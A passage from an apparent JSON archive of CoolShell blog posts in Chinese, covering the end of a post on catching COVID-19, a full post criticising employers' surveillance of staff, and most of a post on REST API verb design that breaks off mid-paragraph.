class=\"para\">\n<p>每6小时200到400毫克布洛芬</p>\n</div>\n</li>\n</ul>\n</div>\n<div class=\"para\">\n<p>因为许多非处方感冒药或流感制剂含有对乙酰氨基酚，人们一定要注意不要在同一时间服用对乙酰氨基酚和一种或多种这些制剂。</p>\n</div>\n<div class=\"para\">\n<p>只有当温度达到106°F (41.1°C)左右或更高时，才需要采取其它降温措施（如用温水喷雾和降温毯降温）。避免使用酒精擦拭，因为酒精可被皮肤吸收，可能产生有害效果。</p>\n</div>\n<div class=\"para\">\n<p>有血液感染或生命体征异常（例如，血压低、脉搏和呼吸速度加快）的人需入院。</p>\n</div>\n</blockquote>\n<p>另外，一定要多喝水，热水最好。多喝水的原因是：1）布洛芬、对乙酰氨基酚（扑热息痛）等退烧药会让人加速出汗，会导致脱水。2）布洛芬等退烧药主要在肝脏代谢，60%~90%经肾脏随尿排出。多喝水，可加速药物排出体外，减少退烧药对肝肾的损伤。3）排汗和排尿都会帮身体带走一些热量。</p>\n<p>具体喝多少水因人而异，一般在2.5升到4升间，主要看你上厕所的频率。我因为前三天都在出汗，所以怎么喝水都不怎么上厕所，这两天我大概一天喝4升左右。总之，发烧吃退烧药更要多喝水。</p>\n<p>另外，如果全家都病倒了，那生活就有点不方便了，所以，你得做好一些准备：</p>\n<p>1）事先订好桶装水，18L 的那种，让人可以给家里送水，发烧期间用水很快的。</p>\n<p>2）生活上的事要做好全家病倒的准备，做饭只能整方便的做的或是速食的了，家里存点牛奶，面包，麦片，火腿肠，水果什么的，保证营养。再不行就点外卖，我家已经点了三天的外卖。还让孩子当个配送员跑腿到菜市场和超市开着视频买东西……</p>\n<p>3）还是要提前备药，我是准备用药的时候，发现家里只找到了布洛芬和感冒冲剂，因为我有高血脂，我还要吃瑞舒伐他汀钙片，结果发现我周边 5 公里的药店基本全都休业了，估计店员都阳了。</p>\n<p>4）有老人的，要照顾好。有呼吸困难的，一定要送急诊。</p>\n<p>根据知乎上的这个<a href=\"https://zhuanlan.zhihu.com/p/590989182\" rel=\"noopener\" target=\"_blank\">通过搜索引擎的测算</a>，第一波的结束大约会在明年春节前结束。最后祝大家好运。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6335.html\"><img alt=\"Resin服务器getResource揭秘\" height=\"150\" src=\"../wp-content/uploads/2012/01/图片1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6335.html\">Resin服务器getResource揭秘</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5035.html\"><img alt=\"面向对象的Shell脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5035.html\">面向对象的Shell脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1192.html\"><img alt=\"一些单元测试的Guideline\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1192.html\">一些单元测试的Guideline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22341.html\">感染新冠的经历</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-2-12 谈谈公司对员工的监控.html",
    "content": "<html><body><p>今天看到微博上有一个热点事件， 是一个关于某公司做的一个监控员工离职倾向的软件，从截图中可以看到员工访问招聘网站的次数，还有投递的简历以及搜索的关建词等等信息，通过这些信息分析员工的离职倾向。然后我发一个微博，说了一下，我以前工作过的公司无论外国公司还是中国公司都有这样的情况，收到一些人来问我相关的情况，所以，我想还是写篇文章详细地说一下，我对这种事情的看法。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring.jpeg\"><img alt=\"\" class=\"aligncenter wp-image-22159 size-large\" height=\"334\" src=\"../wp-content/uploads/2022/02/monitoring-1024x534.jpeg\" width=\"640\"/></a></p>\n<p>本文分成下面个部分：</p>\n<ul>\n<li>公司监控员工的技术手段有哪些？</li>\n<li>为什么要监控员工？</li>\n<li>外企和国企有什么不一样？</li>\n<li>我对此事的看法</li>\n</ul>\n<p><span id=\"more-22157\"></span></p>\n<h4>技术手段</h4>\n<p>下面是我经历过的几个手段：</p>\n<p>1）<strong>通过网络嗅探的方式</strong>。也就是说，你只要上了公司的网络，你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然，这样的手段已经不怎么好用了，因为现在的网络基本上都是HTTPS加密的，网络嗅探的方式只能知道你访问了什么IP，对于其中的数据是没有办法知道的。</p>\n<p>2）<strong>通过使用公司提供的软硬件工具</strong>。你使用公司的电子邮箱，浏览器（或是公司的代理服务器），通讯工具（包括语音电话），手机办公应用……等来处理你的个人事宜的时候，必然会被监控。这样，你只需要不要使用公司的软件来处理自己的私事就好了。</p>\n<p>3）<strong>通过安装一个监控程序</strong>。这个是最可怕的了，因为无论你加不加密都没用了。一般来说，你不安装这个程序，你就没有办法连上网络，包括公司内网和外网。这个监控程序，会收集你电脑或手机上能够收集的到的所有的信息，比如，你的网络信息，按键操作，录屏，软件数据……等等。</p>\n<p>4）<strong>办公区监控</strong>。我见过的还有使用摄像头，在会议室中安装声音和视频监控设备，对整个办公区内发生所有的事情进行监控。</p>\n<p><strong>5）通过爬虫。</strong>通过爬虫分析员工的社交平台上的各种言论，包括招聘网站。除了公司需要分布和自己相关的舆情，同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……</p>\n<h4>公司监控的目的</h4>\n<p>公司监控的目的最早就是为了防止自己公司内的数据和信息外泄，所以，他们害怕自己的员工访问了什么不合适的网站，或是下载了什么有恶意的软件，或是不小心发错了邮件。另外一些公司也会使用外包人员，所以，对于外部编制的人员更需要有信息泄漏防范的安全需求。当然，也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司，如我以前呆过的Thomson Reuters，这家公司主要是卖金融数据的，所以，对信息泄漏是非常注重的，其就是需要在员工的电脑上安装监控软件。</p>\n<p>还有一些劳动密集型的工作，比如在Amazon里的仓库里工作的人，公司会监控员工的工作量，以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量，我到今天仅见过监控外包人员的，在中国，外包人员需要使用甲方的电脑进行签到和签退，以及相关的工作。除了上述的信息安全目前，还能够看到员工的工作时长的情况。</p>\n<p><strong>所以，一般来说，公司监控的目的主要是为了自己的信息安全，还有员工的工作量评估，一般来说，不会涉及员工的隐私</strong>。</p>\n<p>但是，随着收集的数据越来越多，有些公司发现还可以做更多的事，比如，上述的员工离职倾向的分析。<strong>还有一些公司还会收集员工在外网的数据，比如你在社交平台上的各种言论，来分析你对公司的忠诚度和你的价值观取向……</strong>我个人觉得这些已经令人不耻了。</p>\n<h4>外企与国企不同之处</h4>\n<p>我经历过的公司中，外国公司和中国公司都有监控的经历，这里说一下他们的不一样之处。<strong>最大的不一样的地方是，外国公司会让你有知情权，而中国公司则完全没有</strong>。</p>\n<p>我记得我进入Thomson Reuters 公司的时候，公司要求签署一份监控的知情的同意书，其中用中英文写的，就是说，你授权公司监控你的如下这些信息：1）上网记录，2）下载的软件，3）工作电脑，4）公司的座机电话，5）会议室和办公区的语音和视频监控……大概有两页A4纸，然后也说明了这些数据公司仅用于信息安全的风控，不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的，并且对双方都有法律约束的。</p>\n<p>中国的公司则不会告诉你他们会监控你哪些数据，而这些数据拿来做什么。 我记得我在某公司工作的时候，就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……</p>\n<h4>我对此事的看法</h4>\n<p>一方面，我对于公司通过使用监控软件监控员工的行为我是能够理解的，但是，<strong>应该让员工有知情权，并和员工明确一个监控的信息和范围，包括收集的数据的用途和安全措施，以及数据多长时间销毁的协议。</strong>如果没有这个协议的话，我觉得本质上就是一种流氓行为。</p>\n<p>另一方面，针对监控员离职的倾向来说，我实在不知道有什么意义？公司你知道了又能如何呢？你是要找员工作思想工作，还是要给员工更好的待遇，还是直接开掉？<strong>如果你对自己的企业有信心，你就不必担心员工会离开，如果你的企业有问题，你为什么不把心思花在建设自己的企业上来呢？安装这样的监控软件对于企业没有什么帮助，反而只会让你的企业的形象更low……</strong></p>\n<p>再仔细想想，<strong>员工有一万种方法泄漏你公司的信息，无论你怎么监控，只要他想，他总是能够找到方法的，不是么？如何让找到或是培养有职业操守的员工，如何管理自己企业的商业信息，如何建立一个更好的企业文化让员工更有归属感，成为企业的共同体，一同维护共同利益，为企业着想，这不才是公司真正应该干的事吗？！</strong>监控员工充分暴露了这样的企业没有一个好的企业文化，不懂得高级的管理，所以，只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20276.html\"><img alt=\"别让自己“墙”了自己\" height=\"150\" src=\"../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-2-13 “一把梭：REST API 全用 POST”.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-22176\" height=\"183\" src=\"../wp-content/uploads/2022/02/http_method-300x169.png\" width=\"325\"/></p>\n<p>写这篇文章的原因主要还是因为V2EX上的这个<a href=\"https://www.v2ex.com/t/830030?p=1\" rel=\"noopener\" target=\"_blank\">贴子</a>，这个贴子中说——</p>\n<blockquote><p>“对接同事的接口，他定义的所有接口都是 post 请求，理由是 https 用 post 更安全，之前习惯使用 restful api ，如果说 https 只有 post 请求是安全的话？那为啥还需要 get 、put 、delete ？我该如何反驳他。”</p></blockquote>\n<p>然后该贴中大量的回复大概有这么几种论调，1）POST挺好的，就应该这么干，沟通少，2）一把梭，早点干完早点回家，3）吵赢了又怎么样？工作而已，优雅不能当饭吃。虽然评论没有一边倒，但是也有大量的人支持。然后，我在Twitter上嘲讽了一下，用POST干一切就像看到了来你家装修工人说，“老子干活就是用钉子钉一切，什么螺丝、螺栓、卡扣、插销……通通不用，钉枪一把梭，方便，快捷，安全，干完早回家……不过，还是有一些网友觉得用POST挺好的，而且可以节约时间。所以，正好，我在《<a href=\"https://coolshell.cn/articles/21672.html\" rel=\"noopener\" target=\"_blank\" title=\"我做系统架构的一些原则\">我做系统架构的原则</a>》中的“<a href=\"https://coolshell.cn/articles/21672.html#%E5%8E%9F%E5%88%99%E4%BA%94%EF%BC%9A%E5%88%B6%E5%AE%9A%E5%B9%B6%E9%81%B5%E5%BE%AA%E6%9C%8D%E4%BB%8E%E6%A0%87%E5%87%86%E3%80%81%E8%A7%84%E8%8C%83%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5\" rel=\"noopener\" target=\"_blank\">原则五</a>”中反对API返回码无论对错全是200的返回那，我专门写下这一篇文章，以正视听。</p>\n<p>这篇文章主要分成下面这几个部分：</p>\n<ol>\n<li>为什么要用不同的HTTP动词？</li>\n<li>Restful 进行复杂查询</li>\n<li>几个主要问题的回应\n<ul>\n<li>POST 更安全吗？</li>\n<li>全用 POST 可以节省时间沟通少吗？</li>\n<li>早点回家的正确姿势</li>\n<li>工作而已，优雅不能当饭吃</li>\n</ul>\n</li>\n</ol>\n<p><span id=\"more-22173\"></span></p>\n<h4>为什么要用不同的HTTP动词</h4>\n<p>编程世界通常来说有两种逻辑：“<strong>业务逻辑</strong>” 和 “<strong>控制逻辑</strong>”。</p>\n<ul>\n<li><strong>业务逻辑</strong>。就是你实现业务需求的功能的代码，就是跟用户需求强相关的代码。比如，把用户提交的数据保存起来，查询用户的数据，完成一个订单交易，为用户退款……等等，这些是业务逻辑</li>\n<li><strong>控制逻辑</strong>。就是我们用于控制程序运行的非功能性的代码。比如，用于控制程序循环的变量和条件，使用多线程或分布式的技术，使用HTTP/TCP协议，使用什么样数据库，什么样的中间件……等等，这些跟用户需求完全没关系的东西。</li>\n</ul>\n<p>网络协议也是一样的，一般来说，<strong>几乎所有的主流网络协议都有两个部分，一个是协议头，一个是协议体。协议头中是协议自己要用的数据，协议体才是用户的数据。所以，协议头主要是用于协议的控制逻辑，而协议体则是业务逻辑。</strong></p>\n<p>HTTP的动词（或是Method）是在协议头中，所以，其主要用于控制逻辑。</p>\n<p dir=\"auto\">下面是HTTP的动词规范，一般来说，REST API 需要开发人员严格遵循下面的标准规范（参看<a href=\"https://www.rfc-editor.org/rfc/rfc7231#section-4.2.2\" rel=\"noopener\" target=\"_blank\">RFC7231 章节4.2.2 – Idempotent Methods</a>）</p>\n<table>\n<thead>\n<tr>\n<th>方法</th>\n<th>描述</th>\n<th>幂等</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>GET</td>\n<td>用于查询操作，对应于数据库的 <code>select</code> 操作</td>\n<td style=\"text-align: center;\"><img alt=\"✔\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" style=\"height: 1em;\"/>︎</td>\n</tr>\n<tr>\n<td>PUT</td>\n<td>用于所有的信息更新，对应于数据库的 <code>update </code>操作</td>\n<td style=\"text-align: center;\"><img alt=\"✔\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" style=\"height: 1em;\"/>︎︎</td>\n</tr>\n<tr>\n<td>DELETE</td>\n<td>用于更新操作，对应于数据库的 <code>delete</code> 操作</td>\n<td style=\"text-align: center;\"><img alt=\"✔\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" style=\"height: 1em;\"/>︎︎</td>\n</tr>\n<tr>\n<td>POST</td>\n<td>用于新增操作，对应于数据库的 <code>insert</code> 操作</td>\n<td style=\"text-align: center;\">✘</td>\n</tr>\n<tr>\n<td>HEAD</td>\n<td>用于返回一个资源对象的“元数据”，或是用于探测API是否健康</td>\n<td style=\"text-align: center;\"><img alt=\"✔\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" style=\"height: 1em;\"/>︎</td>\n</tr>\n<tr>\n<td>PATCH</td>\n<td>用于局部信息的更新，对应于数据库的 <code>update</code> 操作</td>\n<td style=\"text-align: center;\">✘</td>\n</tr>\n<tr>\n<td>OPTIONS</td>\n<td>获取API的相关的信息。</td>\n<td style=\"text-align: center;\"><img alt=\"✔\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" style=\"height: 1em;\"/>︎</td>\n</tr>\n</tbody>\n</table>\n<p>其中，<code>PUT</code> 和 <code>PACTH</code> 都是更新业务资源信息，如果资源对象不存在则可以新建一个，但他们两者的区别是，<code>PUT</code> 用于更新一个业务对象的所有完整信息，就像是我们通过表单提交所有的数据，而 <code>PACTH</code> 则对更为API化的数据更新操作，只需要更需要更新的字段（参看 <a href=\"http://tools.ietf.org/html/rfc5789\" rel=\"nofollow\">RFC 5789</a> ）。</p>\n<p>当然，现实世界中，可能并不一定严格地按照数据库操作的CRUD来理解API，比如，你有一个登录的API <code>/login</code> 你觉得这个API应该是 <code>GET</code> ，<code>POST</code>，<code>PUT</code> 还是 <code>PATCH</code> ?登录的时候用户需要输入用户名和密码，然后跟数据库里的对比（select操作）后反回一个登录的session token，然后这个token作为用户登录的状态令牌。如果按上面表格来说，应该是 select 操作进行 <code>GET</code> ，但是从语义上来说，登录并不是查询信息，应该是用户状态的更新或是新增操作（新增session），所以还是应该使用 <code>POST</code>，而 <code>/logout</code> 你可以使用 <code>DELETE</code> 。<strong>这里相说明一下，不要机械地通过数据库的CRUD来对应这些动词，很多时候，还是要分析一下业务语义。</strong></p>\n<p><strong>另外，我们注意到，在这个表格的最后一列中加入了“是否幂等”的，API的幂等对于控制逻辑来说是一件很重要的事。</strong>所谓幂等，就是该API执行多次和执行一次的结果是完全一样的，没有副作用。</p>\n<ul>\n<li><code>POST</code> 用于新增加数据，比如，新增一个交易订单，这肯定不能是幂等的</li>\n<li><code>DELETE</code> 用于删除数据，一个数据删除多次和删除一次的结果是一样的，所以，是幂等的</li>\n<li><code>PUT</code> 用于全部数更新，所以，是幂等的。</li>\n<li><code>PATCH</code>用于局部更新，比如，更新某个字段 cnt = cnt+1，明显不可能是幂等操作。</li>\n</ul>\n<p>幂等这个特性对于远程调用是一件非常关键的事，就是说，远程调用有很多时候会因为网络原因导致调用timeout，对于timeout的请求，我们是无法知道服务端是否已经是收到请求并执行了，此时，我们不能贸然重试请求，对于不是幂等的调用来说，这会是灾难性的。比如像转帐这样的业务逻辑，转一次和转多次结果是不一样的，如果重新的话有可能就会多转了一次。所以，这个时候，如果你的API遵从了HTTP动词的规范，那么你写起程序来就可以明白在哪些动词下可以重试，而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话，就完全失控了。</p>\n<p>除了幂等这样的控制逻辑之外，你可能还会有如下的这些控制逻辑的需求：</p>\n<ul>\n<li><strong>缓存</strong>。通过CDN或是网关对API进行缓存，很显然，我们要在查询<code>GET</code> 操作上建议缓存。</li>\n<li><strong>流控</strong>。你可以通过HTTP的动词进行更粒度的流控，比如：限制API的请用频率，在读操作上和写操作上应该是不一样的。</li>\n<li><strong>路由</strong>。比如：写请求路由到写服务上，读请求路由到读服务上。</li>\n<li><strong>权限</strong>。可以获得更细粒度的权限控制和审计。</li>\n<li><strong>监控</strong>。因为不同的方法的API的性能都不一样，所以，可以区分做性能分析。</li>\n<li><strong>压测</strong>。当你需要压力测试API时，如果没有动词的区分的话，我相信你的压力测试很难搞吧。</li>\n<li>……等等</li>\n</ul>\n<p>也许，你会说，我的业务太简单了，没有必要搞这么复杂。OK，没有问题，但<strong>是我觉得你最差的情况下，也是需要做到“读写分离”的，就是说，至少要有两个动词，<code>GET</code> 表示是读操作，<code>POST</code>表示是写操作。</strong></p>\n<h4>Restful 复杂查询</h4>\n<p>一般来说，对于查询类的API，主要就是要完成四种操作：排序，过滤，搜索，分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档，<a href=\"https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md\" rel=\"noopener\" target=\"_blank\">Microsoft REST API Guidelines</a>，<a href=\"https://github.com/paypal/api-standards/blob/master/api-style-guide.md\" rel=\"noopener\" target=\"_blank\">Paypal API Design Guidelines</a>。</p>\n<ul dir=\"auto\">\n<li>\n<p dir=\"auto\"><strong>排序</strong>。对于结果集的排序，使用 <code>sort</code> 关键字，以及 <code>{field_name}|{asc|desc},{field_name}|{asc|desc}</code> 的相关语法。比如，某API需要返回公司的列表，并按照某些字段排序，如：<code>GET /admin/companies?sort=rank|asc</code> 或是 <code>GET /admin/companies?sort=rank|asc,zip_code|desc</code></p>\n</li>\n<li>\n<p dir=\"auto\"><strong>过滤</strong>。对于结果集的过滤，使用 <code>filter</code> 关键字，以及 <code>{field_name} op{value}</code> 的语法。比如： <code>GET /companies?category=banking&amp;location=china</code> 。但是，有些时候，我们需要更为灵活的表达式，我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作：<code>=</code>，<code>&lt;</code>，<code>&gt;</code>，<code>&lt;=</code>，<code>&gt;=</code>，以及三个逻辑操作：<code>and</code>，<code>or</code>，<code>not</code>。（表达式中的一些特殊字符需要做一定的转义，比如：<code>&gt;=</code> 转成 <code>ge</code>）于是，我们就会有如下的查询表达式：<code>GET /products?$filter=name eq 'Milk' and price lt 2.55</code> 查找所有的价柗小于2.55的牛奶。</p>\n</li>\n<li>\n<p dir=\"auto\"><strong>搜索</strong>。对于相关的搜索，使用 <code>search</code> 关键字，以及关键词。如：<code>GET /books/search?description=algorithm</code> 或是直接就是全文搜索 <code>GET /books/search?key=algorithm</code> 。</p>\n</li>\n<li>\n<p dir=\"auto\"><strong>分页</strong>。对于结果集进行分页处理，分页必需是一个默认行为，这样不会产生大量的返回数据。</p>\n<ul dir=\"auto\">\n<li>使用<code>page</code>和<code>per_page</code>代表页码和每页数据量，比如：<code>GET /books?page=3&amp;per_page=20</code>。</li>\n<li><strong>可选</strong>。上面提到的<code>page</code>方式为使用相对位置来获取数据，可能会存在两个问题：性能（大数据量）与数据偏差（高频更新）。此时可以使用绝对位置来获取数据：事先记录下当前已获取数据里最后一条数据的<code>ID</code>、<code>时间</code>等信息，以此获取 “<strong>该ID之前的数据</strong>” 或 “<strong>该时刻之前的数据</strong>”。示例：<code>GET /news?max_id=23454345&amp;per_page=20</code> 或 <code>GET /news?published_before=2011-01-01T00:00:00Z&amp;per_page=20</code>。\n<p dir=\"auto\">\n</p></li>\n</ul>\n</li>\n</ul>\n<p dir=\"auto\"><strong>注意：这里需要注意一下，在理论上来说<code>GET</code>是可以带 body 的，但是很多程序的类库或是中间件并不支持 GET 带 body，导致你只能用 POST 来传递参数。这里的原则是：</strong></p>\n<ol dir=\"auto\">\n<li>\n<p dir=\"auto\"><strong>对于简单的查询，很多参数都设计在 restful API 的路径上了，而 filter/sort/pagination 也不会带来很多的复杂，所以应该使用 <code>GET</code> </strong></p>\n</li>\n<li><strong>对于复杂的查询来说，可能会有很复杂的查询参数，比如：ElasticSearch 上的 <code>index/_search</code>里的 DSL，你也应该尽可能的使用 <code>GET</code>，而不是<code>POST</code> 除非客观条件上不支持<code>GET</code>。ElasticSearch 的<a href=\"https://www.elastic.co/guide/en/elasticsearch/guide/current/_empty_search.html\" rel=\"noopener\" target=\"_blank\">官方文档</a>里也是这么说的。</strong></li>\n</ol>\n<blockquote><p>The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. （我们推荐使用 GET而不是 POST，因为语义更清楚）However, because GET with a request body is not universally supported, the search API also accepts POST requests （除非你的类库或是服务器不支持 GET带参数 ，你再用POST，我们两个都支持）</p>\n<p><strong>陈皓注：但是在 ElasticSearch 7.11 后，GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。</strong></p></blockquote>\n<div class=\"container-2sjPya\" id=\"message-accessories-1073072655571370085\">\n<div class=\"messageAttachment-CZp8Iv messageAttachmentNoJustify-lIzP9c\">\n<div class=\"imageContent-3Av-9c embedWrapper-1MtIDg attachmentContentItem-UKeiCx\">\n<div class=\"imageContainer-10XenG\">\n<div class=\"imageWrapper-oMkQl4 imageZoom-3yLCXY clickable-LksVCf\">另外，对于一些更为复杂的操作，建议通过分别调用多个API的方式来完成，虽然这样会增加网络请求的次数，但是这样的可以让后端程序和数据耦合度更小，更容易成为微服务的架构。</div>\n</div>\n</div>\n</div>\n</div>\n<p>最后，如果你想在Rest中使用像GraphQL那样的查询语言，你可以考虑一下类似 <a href=\"https://www.odata.org/\" rel=\"noopener\" target=\"_blank\">OData</a> 的解决方案。OData 是 Open Data Protocol 的缩写，最初由 Microsoft 于 2007 年开发。它是一种开放协议，使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。</p>\n<h4>几个主要问题的回应</h4>\n<p>下面是对几个问题的直接回应，如果大家需要我回应更多的问题，可以在后面留言，我会把问题和我的回应添加到下面。</p>\n<h5>1）为什么API 要Restful，并符合规范？</h5>\n<p><strong>Restful API算是一个HTTP的规范和标准了，你要说是最佳实践也好，总之，它是一个全世界对HTTP API的一个共识。在这个共识上，你可以无成本地享受很多的技术红利，比如：CDN，API网关，服务治理，监控……等等。这些都是可以让你大幅度降低研发成本，避免踩坑的原因。</strong></p>\n<h5>2）为什么“过早优化”不适用于API设计？</h5>\n<p>因为API是一种契约，一旦被使用上，就很难再变更了，就算你发行新的版本的API，你还要驱动各种调用方升级他们的调用方式。所以，接口设计就像数据库模式设计一下，一旦设计好了，未来再变更就比较难了。所以，还是要好好设计。正如前面我给的几个文档——<a href=\"https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md\" rel=\"noopener\" target=\"_blank\">Microsoft REST API Guidelines</a>，<a href=\"https://github.com/paypal/api-standards/blob/master/api-style-guide.md\" rel=\"noopener\" target=\"_blank\">Paypal API Design Guidelines</a> 或是 <a href=\"https://cloud.google.com/apis/design\" rel=\"noopener\" target=\"_blank\">Google API Design Guide</a> 都是让你好好设计API的不错的 Guidelines.</p>\n<h5>3）POST 更安全吗？</h5>\n<p>不会。</p>\n<p>很多同学以为 <code>GET</code> 的请求数据在URL中，而 <code>POST</code> 的则不是，所以以为 <code>POST</code> 更安全。不是这样的，整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS，就是安全的。当然，有些网关如nginx会把URL打到日志中，或是会放在浏览器的历史记录中，所以有人会说 <code>GET</code> 请求不安全，但是，<code>POST</code> 也没有好到哪里去，在 <a href=\"https://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"noopener\" target=\"_blank\">CSRF</a> 这个最常见的安全问题上，则完全就是针对 <code>POST</code> 的。  